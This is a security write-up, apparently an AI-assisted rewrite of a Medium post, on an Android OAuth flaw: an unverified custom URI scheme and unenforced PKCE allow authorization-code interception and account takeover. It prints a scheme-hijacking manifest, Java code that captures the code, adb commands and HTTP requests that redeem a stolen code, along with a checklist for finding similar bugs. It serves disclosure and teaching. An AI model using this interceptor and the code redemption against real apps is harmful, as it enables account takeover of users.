Skip to content
OAuth / SSO Write-up Intermediate

How an Android OAuth Custom Scheme Became a Full Account Takeover

The Android app used a custom URI scheme for its OAuth callback without PKCE, so another app could register the same scheme and intercept the authorization code. The code could then be redeemed from a separate machine without a code verifier, giving an authenticated session and account takeover.

mohamedatefsarhan123 Follow

Published on medium.com

Cybersecurity

0xlight, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

OAuth is often treated as a solved problem: authenticate the user, issue an authorization code, exchange it for a token, and move on. Mobile applications make that assumption dangerous.

While researching an Android application's authentication flow, I encountered what initially looked like a relatively small implementation flaw: the application relied on a custom URI scheme to receive its OAuth callback. On its own, this creates an opportunity for another installed application to register the same scheme and intercept the callback.

The interesting part came next. The intercepted authorization code was not protected by PKCE, meaning there was no cryptographic proof tying the code redemption to the application that originally initiated the authentication request. As a result, a code captured by an attacker-controlled application could be replayed from another device and exchanged for an authenticated session.

This writeup breaks the vulnerability down from the Android manifest level to the OAuth flow, shows how the authorization code was intercepted and redeemed, explains why PKCE was the missing security boundary, and outlines the changes that would prevent the attack.

Setup

The investigation started with the Android APK. Rather than immediately attempting exploitation, I first mapped the authentication and deep-link behaviour. The main questions were:

  • How does the application start authentication?
  • Which OAuth client is used?
  • What redirect URI is registered?
  • How does Android receive the callback?
  • Is the callback protected by App Links?
  • Is PKCE used?
  • Can the authorization code be redeemed outside the application?

The APK was decoded and the Android manifest inspected. The APK was decoded and the Android manifest inspected with apktool and grep, and adb was used to query handlers and deliver the intent. The OAuth client in use was identified as victim.mobile-app, and the callback scheme as victim-app:.

Finding it

The manifest contained two relevant intent filters. The first was an HTTPS deep link using verification:

XML
<intent-filter android:autoVerify="true">    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="https"/>    <data android:host="@string/deep_link_host"/></intent-filter>

That is the expected Android App Link model. The second was much more interesting:

XML
<intent-filter>    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="@string/custom_scheme"/></intent-filter>

There was no android:autoVerify="true". The relevant scheme resolved to:

Text
victim-app:

This immediately created a potential interception primitive. Android custom URI schemes do not provide the same ownership verification mechanism as HTTPS App Links. An application can register:

XML
<data android:scheme="victim-app"/>

without proving that it owns the namespace, which means another application can declare the same scheme.

Exploitation

Step 1: Decode the APK and inspect the manifest

The APK was decoded and the manifest searched for scheme declarations:

Bash
apktool decode -f -s -o decoded victim.apk
Bash
grep -A5 'android:scheme' decoded/AndroidManifest.xml

The output revealed the two intent filters above: a verified HTTPS App Link and an unverified custom scheme. The custom scheme was the one used for the OAuth callback.

Step 2: Register the same scheme in a test application

I created a minimal test application containing:

XML
<intent-filter>    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="victim-app"/></intent-filter>

After installation, Android recognised the malicious application as a handler for:

Text
victim-app://...

This could be verified with:

Bash
adb shell pm query-activities --brief \  -a android.intent.action.VIEW \  -d "victim-app://app/oauth-callback"

The malicious package appeared as an eligible handler. At this point there was a possible OAuth interception issue, but interception alone does not automatically equal account takeover. The next step was understanding the authentication flow.

Step 3: Trace the OAuth flow

The Android application did not perform the entire authentication process internally. Instead, it redirected the user into the system browser. A decompiled portion of the application showed the authentication URL being constructed around the mobile OAuth client:

JavaScript
var loginLink =    webappUrl.origin +    "/oauth/login?client_id=victim.mobile-app" +    "&redirect_uri=" +    encodeURIComponent(        "victim-app://app/oauth-callback"    );
JavaScript
this.$window.location.href = loginLink;

This established the flow:

Text
OAuth client    ↓System browser    ↓Authentication    ↓Custom-scheme redirect    ↓Android Intent    ↓Application

The next question was whether the authorization request used PKCE.

Step 4: Look for PKCE in the client

A secure mobile OAuth authorization-code flow should normally use:

Text
code_challengecode_challenge_method=S256

and later require:

Text
code_verifier

during token exchange. I searched the client-side implementation and observed that the authorization request did not contain a PKCE challenge. The request effectively looked like:

Text
response_type=codeclient_id=victim.mobile-appredirect_uri=victim-app://app/oauth-callback

with no:

Text
code_challenge=code_challenge_method=S256

That was the first major indication that the authorization code might be usable by anyone who obtained it. Client-side behaviour alone was not enough, however: the server had to be tested.

Step 5: Test the authorization endpoint with a foreign redirect URI

I examined the OAuth authorization endpoint and submitted a non-registered redirect URI as a control request. Conceptually:

HTTP
POST https://victim.com/api/oauth/authorizeContent-Type: application/x-www-form-urlencoded
Text
response_type=codeclient_id=victim.mobile-appredirect_uri=attacker://test

The server rejected the unknown redirect URI and indicated that the mobile client was restricted to its configured callback schemes. The relevant observation was that the legitimate callback scheme was accepted:

Text
victim-app://app/oauth-callback

The server therefore recognised the vulnerable custom scheme as a legitimate OAuth redirect target.

Step 6: Test whether PKCE was enforced server-side

The next test was intentionally simple. I compared authorization behaviour with and without:

Text
code_challengecode_challenge_method=S256

No meaningful enforcement difference appeared. The authorization endpoint continued processing requests without requiring a challenge. That meant PKCE was not merely absent from the mobile client; it was also not enforced as a server-side requirement for the flow. The security boundary that should have protected an intercepted authorization code was therefore missing.

Step 7: Build the interceptor

To prove the Android side of the vulnerability, I created a minimal application that registered the same scheme:

XML
<data android:scheme="victim-app"/>

The application extracted the authorization code from the incoming Intent:

Java
Uri data = getIntent().getData();
Java
String code =    (data != null)        ? data.getQueryParameter("code")        : null;

The purpose was deliberately minimal:

Text
Receive Intent     ↓Read code parameter     ↓Display captured authorization code

There was no special Android permission involved. The vulnerability existed because the OAuth callback itself was claimable by another application.

Step 8: Validate the callback interception

The next step was to determine whether a callback containing an authorization code could actually reach the malicious application. The OAuth redirect took the form:

Text
victim-app://app/oauth-callback?code=<AUTHORIZATION_CODE>

I delivered the equivalent Android Intent:

Bash
adb shell am start \  -a android.intent.action.VIEW \  -d "victim-app://app/oauth-callback?code=<AUTHORIZATION_CODE>"

The interceptor application received it. The application displayed:

image from the emulator From the original on medium.com

image from the emulator

This confirmed the first half of the attack chain:

Text
OAuth Server     ↓Authorization Code     ↓Custom URI     ↓Android Intent Resolution     ↓Attacker-Controlled App

The authorization code was now in attacker-controlled memory. The remaining question was whether the code could be exchanged for a session.

Step 9: Redeem the code from a separate machine

The authorization code was then submitted to the authentication backend from a separate machine. The request was conceptually:

HTTP
POST https://victim.com/api/auth/loginContent-Type: application/x-www-form-urlencoded
Text
grant_type=authorization_codecode=<STOLEN_CODE>

No victim browser cookies were included. No mobile-device state was included. No password was included. No MFA code was included. Most importantly:

Text
No code_verifier

was supplied. The server accepted the code and returned an authenticated access token. The response indicated an authenticated session rather than a partially authenticated state.

The complete attack chain

From the original on medium.com

Root cause

Two design mistakes combined.

First, the OAuth callback was delivered over an unverified custom URI scheme. Android custom schemes have no ownership verification equivalent to HTTPS App Links, so any installed application can declare victim-app and become a candidate handler for the callback. The manifest contained a properly verified HTTPS App Link, but the OAuth redirect did not use it.

Second, the authorization code was not bound to the client that requested it. The mobile client sent no code_challenge, and the authorization server did not require one, so a code obtained by any party could be redeemed without a code_verifier. The server did restrict the mobile client to its configured redirect schemes, which is why attacker://test was rejected, but that control only protects the redirect target, not the code itself once it has been issued to a claimable scheme.

Impact

The practical impact was account takeover for affected mobile users under the demonstrated conditions. An attacker-controlled application required no special Android permission beyond being able to register the same custom URI scheme.

Once the victim completed authentication:

Text
OAuth code    ↓intercepted    ↓redeemed    ↓authenticated session

The resulting session provided access to the victim's authenticated API surface. Depending on the application's available permissions, this could include:

  • reading private messages;
  • accessing attached files;
  • sending messages as the victim;
  • modifying profile information;
  • interacting with account recovery functionality;
  • managing authentication-related settings.

The attack requires the victim to complete authentication while the malicious application is installed. The report does not describe how Android resolves the handler when two applications declare the same scheme, so the exact conditions under which the malicious app receives the callback are not stated.

Fix

The report does not describe a fix applied by the vendor. The changes that would prevent the attack, as outlined in the writeup, are:

  1. Deliver the OAuth callback over a verified HTTPS App Link (android:autoVerify="true" with an owned host) instead of an unverified custom scheme, so that no other application can claim the redirect.
  2. Enforce PKCE on the authorization server: require code_challenge and code_challenge_method=S256 on the authorization request and require the matching code_verifier at token exchange, so an intercepted code cannot be redeemed by another party.

Variants to test

  • Other custom-scheme callbacks. Decode an APK and look for BROWSABLE intent filters with a android:scheme that is not https and has no autoVerify. A positive result is a scheme you can register in your own app and that the OAuth server accepts as a redirect_uri.
  • PKCE not enforced server-side. Send an authorization request without code_challenge and see whether the server still issues a code. A positive result is a code issued with no challenge requirement.
  • Code redemption without code_verifier. Take a code from a flow that did include a challenge and try to exchange it with no code_verifier, or with a wrong one. A positive result is an access token returned anyway.
  • Cross-device redemption. Redeem a captured code from a different machine with no cookies, device state, password or MFA. A positive result is an authenticated session rather than a partial-auth response.
  • Handler enumeration. Use adb shell pm query-activities against the callback URI to see which packages are eligible handlers. A positive result is your test package appearing alongside the legitimate app.

The End

From the original on medium.com

, 0xlight

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A mobile app let people log in through their web browser using a system called OAuth. When the login finished, the browser was supposed to hand a short-lived piece of proof, called an authorization code, back to the app. The app used a private-looking address of its own, victim-app:, to receive that hand-back. The problem is that on Android, anyone can claim such an address. A second, malicious app installed on the same phone could say "I also answer to victim-app:" and receive the code instead. Worse, the server that issued the code never checked who was redeeming it, so the attacker could take the stolen code to a completely different computer and swap it for a working login session. That is a full account takeover: the attacker ends up logged in as the victim, without the victim's password, cookies or two-factor code.

The rest of this article walks through the same steps the researcher took, in the same order, explaining each concept from scratch. If you can use a browser, you can follow it.

Some background before we start

A few everyday ideas will come up again and again, so here they are first.

  • An app on a phone is a package of files. The most important file for us is the manifest, a text file that tells Android what the app can do: which screens it has, which permissions it wants, and which kinds of links it is willing to open. Think of the manifest as the app's business card and mailbox rules combined.
  • A URL scheme is the first part of a web address, the bit before ://. You know https:// and http://. Apps can invent their own, like victim-app://. When you tap a link starting with victim-app://, Android looks for an installed app that has registered that scheme and hands the link to it. It is like a nickname: anyone can print a business card saying "call me Bob".
  • An API (Application Programming Interface) is the set of doors a server offers to programs. When an app shows your messages, it is not reading them from the phone; it is asking the server through an API door, and the server answers with data. Think of a restaurant: the menu and the waiter are the API, the kitchen is the server.
  • A token is a short string that proves you are logged in. Instead of sending your password with every request, the app sends the token. It is like a coat-check ticket: whoever holds the ticket gets the coat, no questions asked. That is exactly why stealing one is so valuable.
  • A cookie is a small piece of data a website stores in your browser so it remembers you between page loads. It is another form of "you are logged in" proof, tied to your browser.
  • OAuth is the standard "log in with..." dance. You have seen it: "Continue with Google", "Sign in with Apple". The app does not see your password. Instead, the identity provider (the server) gives the app a short-lived authorization code, and the app trades that code for a token. The code is meant to be used once, quickly, and only by the app that asked for it.
  • PKCE (Proof Key for Code Exchange, pronounced "pixy") is a safety belt for that trade. Before starting the login, the app invents a random secret and sends only a scrambled fingerprint of it, called the code_challenge. When it later trades the code for a token, it must present the original secret, the code_verifier. If a thief steals the code but not the secret, the trade fails. It is like a cloakroom that gives you a ticket but also asks for the matching half of a torn banknote before releasing the coat.
  • The vulnerability class here is often called an OAuth redirect interception combined with missing PKCE enforcement. In plain words: the delivery address for the code could be claimed by anyone, and the code itself had no lock on it.

1. Starting point: inspecting the Android application

The researcher did not start by attacking. The first job was to understand how the app logs people in. The questions were:

  • How does the application start authentication?
  • Which OAuth client is used?
  • What redirect URI is registered?
  • How does Android receive the callback?
  • Is the callback protected by App Links?
  • Is PKCE used?
  • Can the authorization code be redeemed outside the application?

Why ask these first? Because you cannot tell whether something is broken until you know what "working" looks like. It is the difference between a locksmith who studies the lock before picking it and someone who just kicks the door.

The app itself is an APK file, the Android equivalent of a .zip with extra structure. It was decoded, meaning unpacked into readable files, and the manifest was inspected.

Bash
apktool decode -f -s -o decoded victim.apk

Line by line:

  • apktool is a free tool that unpacks Android APK files.
  • decode is the command that does the unpacking.
  • -f means force: overwrite the output folder if it already exists.
  • -s means do not decode the compiled code back into source; keep it as is. This makes the unpack faster and is enough when you only want to read the manifest.
  • -o decoded says put the results in a folder called decoded.
  • victim.apk is the file being unpacked.
Bash
grep -A5 'android:scheme' decoded/AndroidManifest.xml

Line by line:

  • grep is a search tool that prints lines matching a pattern.
  • -A5 means also show five lines after each match, so you see the surrounding context, not just the matching line.
  • 'android:scheme' is the pattern being searched for. A scheme declaration in a manifest looks like android:scheme="...".
  • decoded/AndroidManifest.xml is the file being searched, the manifest inside the unpacked folder.

The manifest contained two relevant intent filters. An intent filter is a block in the manifest that says "my app is willing to handle this kind of event". The first was an HTTPS deep link using verification:

XML
<intent-filter android:autoVerify="true">    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="https"/>    <data android:host="@string/deep_link_host"/></intent-filter>

Line by line:

  • <intent-filter android:autoVerify="true"> opens a block of rules. autoVerify="true" asks Android to check with the website owner that this app really owns the domain. That check is what makes it a trusted App Link.
  • <action android:name="android.intent.action.VIEW"/> says the app wants to handle "view this thing" events, which is what opening a link is.
  • <category android:name="android.intent.category.DEFAULT"/> is a standard marker that lets the link open without the user choosing an app every time.
  • <category android:name="android.intent.category.BROWSABLE"/> says the link may be opened from a browser. This is essential for OAuth, because the login happens in the browser.
  • <data android:scheme="https"/> says the link must start with https.
  • <data android:host="@string/deep_link_host"/> says the link must be for a particular domain, whose name is stored in a string resource rather than written out here.
  • </intent-filter> closes the block.

That is the expected Android App Link model: a verified HTTPS address that no other app can pretend to own. The second filter was much more interesting:

XML
<intent-filter>    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="@string/custom_scheme"/></intent-filter>

Line by line:

  • <intent-filter> opens a block with no autoVerify attribute at all. Nothing will be checked with any website owner.
  • The action and categories are the same as before: handle a link, open by default, allow from a browser.
  • <data android:scheme="@string/custom_scheme"/> says the app handles a custom scheme whose name is stored in a string resource. Because it is a custom scheme, not https, there is no domain to verify.
  • </intent-filter> closes the block.

There was no android:autoVerify="true". The relevant scheme resolved to:

Text
victim-app:

This immediately created a potential interception primitive. A primitive in security means a small building block that can be combined with others into an attack. On its own, a claimable scheme is not a break-in; it is a door that anyone can put their name on.

2. Why the custom scheme mattered

Android custom URI schemes do not provide the same ownership verification mechanism as HTTPS App Links. An application can register:

XML
<data android:scheme="victim-app"/>

Line by line:

  • <data starts a data rule inside an intent filter.
  • android:scheme="victim-app" says this app handles links starting with victim-app:.
  • /> closes the rule.

without proving that it owns the namespace. That means another application can declare the same scheme. The researcher created a minimal test application containing:

XML
<intent-filter>    <action android:name="android.intent.action.VIEW"/>    <category android:name="android.intent.category.DEFAULT"/>    <category android:name="android.intent.category.BROWSABLE"/>
XML
    <data android:scheme="victim-app"/></intent-filter>

Line by line:

  • The filter handles "view" events, opens by default, and accepts links from a browser, exactly like the victim's filter.
  • <data android:scheme="victim-app"/> claims the same scheme as the victim app.
  • Nothing here asks for permission, a signature, or a domain check. That is the whole point: Android allows it.

After installation, Android recognised the malicious application as a handler for:

Text
victim-app://...

This could be verified with:

Bash
adb shell pm query-activities --brief \  -a android.intent.action.VIEW \  -d "victim-app://app/oauth-callback"

Line by line:

  • adb is the Android Debug Bridge, a command-line tool that lets a computer talk to a phone or emulator.
  • shell means run the rest of the command inside the phone's own command environment.
  • pm is the package manager, the part of Android that knows which apps are installed and what they can handle.
  • query-activities asks: which activities (screens) could handle this request?
  • --brief asks for a short answer, just the names, not full details.
  • -a android.intent.action.VIEW says the request is a "view" action, the same action used when opening a link.
  • -d "victim-app://app/oauth-callback" gives the example link to test with.
  • The backslashes at the end of lines are just line continuations so the command can be written across several lines.

The malicious package appeared as an eligible handler. At this point there was a possible OAuth interception issue, but interception alone does not automatically equal account takeover. The next step was understanding the authentication flow. Why? Because if the stolen code were useless, the interception would be a nuisance, not a break-in.

3. Tracing the OAuth flow

The Android application did not perform the entire authentication process internally. Instead, it redirected the user into the system browser. That is normal and often good: the browser is a trusted place to type a password, and the app never sees it. A decompiled portion of the application showed the authentication URL being constructed around the mobile OAuth client:

JavaScript
var loginLink =    webappUrl.origin +    "/oauth/login?client_id=victim.mobile-app" +    "&redirect_uri=" +    encodeURIComponent(        "victim-app://app/oauth-callback"    );

Line by line:

  • var loginLink = starts building a text string that will become the login web address.
  • webappUrl.origin is the base address of the website, for example https://victim.com.
  • + "/oauth/login?client_id=victim.mobile-app" adds the path to the login page and a parameter naming the app as the OAuth client. client_id is the app's public name in OAuth, like a username for the app itself.
  • + "&redirect_uri=" adds the parameter that tells the server where to send the user afterwards.
  • encodeURIComponent( wraps the next value so that special characters in it are safely encoded for a URL.
  • "victim-app://app/oauth-callback" is the address the server should send the user back to. This is the custom scheme from the manifest.
  • ); closes the call and the statement.
JavaScript
this.$window.location.href = loginLink;

Line by line:

  • this.$window refers to the browser window object.
  • .location.href = loginLink tells the browser to navigate to the address just built.

This established the flow:

Text
OAuth client    ↓System browser    ↓Authentication    ↓Custom-scheme redirect    ↓Android Intent    ↓Application

Read the diagram top to bottom: the app (the OAuth client) sends the user to the system browser; the user authenticates there; the server redirects back to the custom scheme; Android turns that link into an Intent (a message to an app); and the app receives it. The next question was whether the authorization request used PKCE.

4. Looking for PKCE in the client

A secure mobile OAuth authorization-code flow should normally use:

Text
code_challengecode_challenge_method=S256

Line by line:

  • code_challenge is the scrambled fingerprint of the app's secret, sent at the start of the login.
  • code_challenge_method=S256 says how the fingerprint was made. S256 means SHA-256, a standard hashing method that turns any input into a fixed-length string and cannot practically be reversed.

and later require:

Text
code_verifier

during token exchange. The code_verifier is the original secret. The server hashes it and checks that the result matches the code_challenge it stored earlier. If a thief only has the code, they cannot produce the secret, so the exchange fails.

The researcher searched the client-side implementation and observed that the authorization request did not contain a PKCE challenge. The request effectively looked like:

Text
response_type=codeclient_id=victim.mobile-appredirect_uri=victim-app://app/oauth-callback

Line by line:

  • response_type=code asks the server for an authorization code, not a token directly.
  • client_id=victim.mobile-app identifies the app making the request.
  • redirect_uri=victim-app://app/oauth-callback says where to send the code afterwards.

with no:

Text
code_challenge=code_challenge_method=S256

That was the first major indication that the authorization code might be usable by anyone who obtained it. Client-side behaviour alone was not enough, however: the server had to be tested. Why? Because an app can be careless while the server still refuses to issue codes without a challenge. The safety belt only matters if the server insists on it.

5. Testing the authorization endpoint with a foreign redirect URI

The researcher examined the OAuth authorization endpoint. An endpoint is a specific URL on a server that accepts a particular kind of request. A non-registered redirect URI was submitted as a control request. A control is a test you expect to fail, used to prove that the server is actually checking something. Conceptually:

HTTP
POST https://victim.com/api/oauth/authorizeContent-Type: application/x-www-form-urlencoded

Line by line:

  • POST is the HTTP method used to send data to a server.
  • https://victim.com/api/oauth/authorize is the address of the authorization endpoint.
  • Content-Type: application/x-www-form-urlencoded says the body is formatted like a web form, with key=value pairs.
Text
response_type=codeclient_id=victim.mobile-appredirect_uri=attacker://test

Line by line:

  • response_type=code asks for an authorization code.
  • client_id=victim.mobile-app identifies the mobile app.
  • redirect_uri=attacker://test is a deliberately foreign address, one the server should not know. If the server accepted it, an attacker could receive codes directly. This is the control.

The server rejected the unknown redirect URI and indicated that the mobile client was restricted to its configured callback schemes. That is good news for the redirect step: you cannot simply point the code at your own server. The relevant observation was that the legitimate callback scheme was accepted:

Text
victim-app://app/oauth-callback

The server therefore recognised the vulnerable custom scheme as a legitimate OAuth redirect target. In other words, the server was doing its job of only sending codes to registered addresses, but the registered address itself was one that any app on the phone could claim.

6. Testing whether PKCE was enforced server-side

The next test was intentionally simple. The researcher compared authorization behaviour with and without:

Text
code_challengecode_challenge_method=S256

Line by line:

  • code_challenge is the fingerprint parameter.
  • code_challenge_method=S256 says the fingerprint uses SHA-256.

No meaningful enforcement difference appeared. The authorization endpoint continued processing requests without requiring a challenge. That meant PKCE was not merely absent from the mobile client; it was also not enforced as a server-side requirement for the flow. The security boundary that should have protected an intercepted authorization code was therefore missing. A security boundary is a checkpoint that an attacker must pass; here, the checkpoint was simply not there.

7. Building the interceptor

To prove the Android side of the vulnerability, the researcher created a minimal application that registered the same scheme:

XML
<data android:scheme="victim-app"/>

Line by line:

  • This is the same claim as before: this app handles victim-app: links.

The application extracted the authorization code from the incoming Intent:

Java
Uri data = getIntent().getData();

Line by line:

  • Uri data = declares a variable to hold the link that arrived.
  • getIntent() gets the message that launched this screen.
  • .getData() pulls the link (the URI) out of that message.
Java
String code =    (data != null)        ? data.getQueryParameter("code")        : null;

Line by line:

  • String code = declares a text variable to hold the code.
  • (data != null) checks that a link actually arrived, to avoid crashing on an empty message.
  • ? data.getQueryParameter("code") means: if a link arrived, read the value of the code parameter from it. Query parameters are the key=value pairs after the ? in a URL.
  • : null means: otherwise, store nothing.

The purpose was deliberately minimal:

Text
Receive Intent     ↓Read code parameter     ↓Display captured authorization code

Read the diagram top to bottom: the app receives the message, reads the code from it, and shows the code on screen. There was no special Android permission involved. The vulnerability existed because the OAuth callback itself was claimable by another application. That is worth pausing on: the attacker did not need to break into the phone, root it, or ask for dangerous permissions. They only needed to install an app that answered to the same nickname.

8. Validating the callback interception

The next step was to determine whether a callback containing an authorization code could actually reach the malicious application. The OAuth redirect took the form:

Text
victim-app://app/oauth-callback?code=<AUTHORIZATION_CODE>

Line by line:

  • victim-app:// is the custom scheme.
  • app/oauth-callback is the path the app expects.
  • ?code= starts the query string and names the parameter that carries the code.
  • <AUTHORIZATION_CODE> is a placeholder for the real value.

The researcher delivered the equivalent Android Intent:

Bash
adb shell am start \  -a android.intent.action.VIEW \  -d "victim-app://app/oauth-callback?code=<AUTHORIZATION_CODE>"

Line by line:

  • adb shell runs the following command on the phone or emulator.
  • am is the activity manager, the part of Android that starts apps and sends them intents.
  • start tells it to launch something.
  • -a android.intent.action.VIEW sets the action to "view", the same action a browser uses when opening a link.
  • -d "victim-app://app/oauth-callback?code=<AUTHORIZATION_CODE>" sets the data, the link itself, with a placeholder code.
  • The backslashes continue the command across lines.

The interceptor application received it. The application displayed:

image from the emulator From the original on medium.com

image from the emulator

The image is from the emulator. This confirmed the first half of the attack chain:

Text
OAuth Server     ↓Authorization Code     ↓Custom URI     ↓Android Intent Resolution     ↓Attacker-Controlled App

Read the diagram top to bottom: the server issues the code, the code travels as a custom URI, Android resolves which app should get it, and the attacker-controlled app receives it. The authorization code was now in attacker-controlled memory. The remaining question was whether the code could be exchanged for a session.

9. Redeeming the code from a separate machine

The authorization code was then submitted to the authentication backend from a separate machine. This is the crucial test: if the code only worked on the same phone, in the same app, the attack would be limited. The request was conceptually:

HTTP
POST https://victim.com/api/auth/loginContent-Type: application/x-www-form-urlencoded

Line by line:

  • POST sends data to the server.
  • https://victim.com/api/auth/login is the login endpoint that trades a code for a session.
  • Content-Type: application/x-www-form-urlencoded says the body is form-encoded.
Text
grant_type=authorization_codecode=<STOLEN_CODE>

Line by line:

  • grant_type=authorization_code tells the server which kind of trade this is: exchanging a code.
  • code=<STOLEN_CODE> is the captured code, with a placeholder for the real value.

No victim browser cookies were included. No mobile-device state was included. No password was included. No MFA code was included. MFA is multi-factor authentication, the extra code from an app or SMS. Most importantly:

Text
No code_verifier

was supplied. The server accepted the code and returned an authenticated access token. The response indicated an authenticated session rather than a partially authenticated state. In plain words: the server handed over the keys to the account to a stranger on a different computer, with no password and no second factor.

The complete attack chain

From the original on medium.com

Root cause

Two design mistakes combined.

First, the OAuth callback was delivered over an unverified custom URI scheme. Android custom schemes have no ownership verification equivalent to HTTPS App Links, so any installed application can declare victim-app and become a candidate handler for the callback. The manifest contained a properly verified HTTPS App Link, but the OAuth redirect did not use it.

Second, the authorization code was not bound to the client that requested it. The mobile client sent no code_challenge, and the authorization server did not require one, so a code obtained by any party could be redeemed without a code_verifier. The server did restrict the mobile client to its configured redirect schemes, which is why attacker://test was rejected, but that control only protects the redirect target, not the code itself once it has been issued to a claimable scheme.

Think of it as a parcel: the delivery address was a locker that anyone could rent, and the parcel itself had no signature requirement. Either fix alone would have stopped the theft.

Impact

The practical impact was account takeover for affected mobile users under the demonstrated conditions. An attacker-controlled application required no special Android permission beyond being able to register the same custom URI scheme.

Once the victim completed authentication:

Text
OAuth code    ↓intercepted    ↓redeemed    ↓authenticated session

Read the diagram top to bottom: the code is intercepted, then redeemed, and the result is an authenticated session. The resulting session provided access to the victim's authenticated API surface. API surface means all the things a logged-in user can do through the server's doors. Depending on the application's available permissions, this could include:

  • reading private messages;
  • accessing attached files;
  • sending messages as the victim;
  • modifying profile information;
  • interacting with account recovery functionality;
  • managing authentication-related settings.

The attack requires the victim to complete authentication while the malicious application is installed. The report does not describe how Android resolves the handler when two applications declare the same scheme, so the exact conditions under which the malicious app receives the callback are not stated.

Fix

The report does not describe a fix applied by the vendor. The changes that would prevent the attack, as outlined in the writeup, are:

  1. Deliver the OAuth callback over a verified HTTPS App Link (android:autoVerify="true" with an owned host) instead of an unverified custom scheme, so that no other application can claim the redirect.
  2. Enforce PKCE on the authorization server: require code_challenge and code_challenge_method=S256 on the authorization request and require the matching code_verifier at token exchange, so an intercepted code cannot be redeemed by another party.

In everyday terms: use a delivery address that only you can own, and require the matching half of the torn banknote before handing over the coat.

Variants to test

If you want to look for similar issues, these are the checks the writeup suggests.

  • Other custom-scheme callbacks. Decode an APK and look for BROWSABLE intent filters with a android:scheme that is not https and has no autoVerify. A positive result is a scheme you can register in your own app and that the OAuth server accepts as a redirect_uri.
  • PKCE not enforced server-side. Send an authorization request without code_challenge and see whether the server still issues a code. A positive result is a code issued with no challenge requirement.
  • Code redemption without code_verifier. Take a code from a flow that did include a challenge and try to exchange it with no code_verifier, or with a wrong one. A positive result is an access token returned anyway.
  • Cross-device redemption. Redeem a captured code from a different machine with no cookies, device state, password or MFA. A positive result is an authenticated session rather than a partial-auth response.
  • Handler enumeration. Use adb shell pm query-activities against the callback URI to see which packages are eligible handlers. A positive result is your test package appearing alongside the legitimate app.

The End

From the original on medium.com

, 0xlight

Glossary

  • API: the set of addresses and rules a server offers so programs can ask it for data or actions.
  • APK: the file format of an Android app, a package containing code, resources and the manifest.
  • App Link: an HTTPS link that Android verifies against the website owner, so only the real owner's app can handle it.
  • Authorization code: a short-lived string issued by an OAuth server that an app trades for a token.
  • Authorization endpoint: the server address that starts an OAuth login and issues the code.
  • BROWSABLE: a manifest category that allows a link to be opened from a browser.
  • Callback: the return trip after login, where the server sends the user back to the app with the code.
  • Client ID: the public name an app uses to identify itself to an OAuth server.
  • Code challenge: the scrambled fingerprint of the app's secret, sent at the start of a PKCE login.
  • Code verifier: the original secret an app must present when trading a code for a token under PKCE.
  • Cookie: a small piece of data a website stores in your browser to remember you.
  • Custom URI scheme: an app-invented address prefix such as victim-app:, which any app can claim.
  • Deep link: a link that opens a specific screen inside an app rather than a web page.
  • Endpoint: a specific URL on a server that accepts a particular kind of request.
  • Intent: Android's message format for asking an app to do something, such as open a link.
  • Intent filter: a manifest block declaring which intents an app is willing to handle.
  • Manifest: the file inside an APK that declares the app's components, permissions and link handling.
  • MFA: multi-factor authentication, an extra proof such as a code from an app or SMS.
  • OAuth: the standard flow that lets an app log you in through another service without seeing your password.
  • PKCE: a safety belt for OAuth that ties a code to the app that requested it, using a challenge and a verifier.
  • Primitive: a small building block of an attack that can be combined with others.
  • Redirect URI: the address an OAuth server sends the user back to after login.
  • Root cause: the underlying design mistake that makes an attack possible.
  • S256: the SHA-256 hashing method used to build a PKCE code challenge.
  • Token: a string that proves you are logged in, usable instead of a password.
  • URI: a general term for an address, including URLs and custom schemes.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.